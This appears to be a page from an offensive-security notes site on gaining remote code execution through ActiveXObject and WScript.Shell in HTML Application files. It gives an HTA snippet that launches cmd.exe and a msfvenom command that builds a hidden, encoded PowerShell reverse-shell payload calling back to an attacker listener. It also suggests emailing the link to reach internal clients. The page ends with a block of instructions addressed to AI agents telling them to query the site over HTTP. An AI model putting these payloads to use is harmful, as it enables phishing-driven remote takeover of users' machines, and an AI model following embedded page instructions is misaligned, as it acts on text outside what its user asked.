# ActiveXObject to Wscript RCE
In this example, we will leverage ActiveXObjects, which can potentially (and dangerously) provide access to underlying operating system commands. This can be achieved through the Windows Script Host functionality or WScript and in particular the Windows Script Host Shell object. Once we instantiate a Windows Script Host Shell object, we can invoke its run method in order to launch an application on the target client machine.
\--------------------poc.hta--------------------
var c= 'cmd.exe' new ActiveXObject('WScript.Shell').Run(c);self.close();
We can save this and serve it with apache. This will open cmd on the users computer. The user will be prompted with:
then if they click to open it they will get:
This second message is when the internet explorer sandbox “Protected Mode” is turned on (default).\
mshta.exe also will have its own cmd prompt open which is why we close it after we launch our window/process\
\
**RCE:**\
$ `msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta`\
//this format is hta-2-powershell\
\
\ -nop , is shorthand for -NoProfile , which instructs PowerShell not to load the PowerShell user profile. When PowerShell is started, it will, by default, load any existing user’s profile scripts, which might negatively impact the execution of our code.\ -w hidden (shorthand for -WindowStyle hidden )\ -e flag (shorthand for -EncodedCommand ) allows us to supply a Base64 encoded PowerShell script directly as a command line argument.
\----------------- evil.hta-----------------\
\\
\\
\\
\\
\\
\\
\\
\\
\
\-----------------------Then open a listener and wait for the user to trigger it -----------------
\
Since the link to the HTML Application can be\
delivered via email, we can even compromise NAT’d internal clients.
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://www.hackbook.io/privilege-escalation/windows-escalation/popular-exploits/activexobject-to-wscript-rce.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.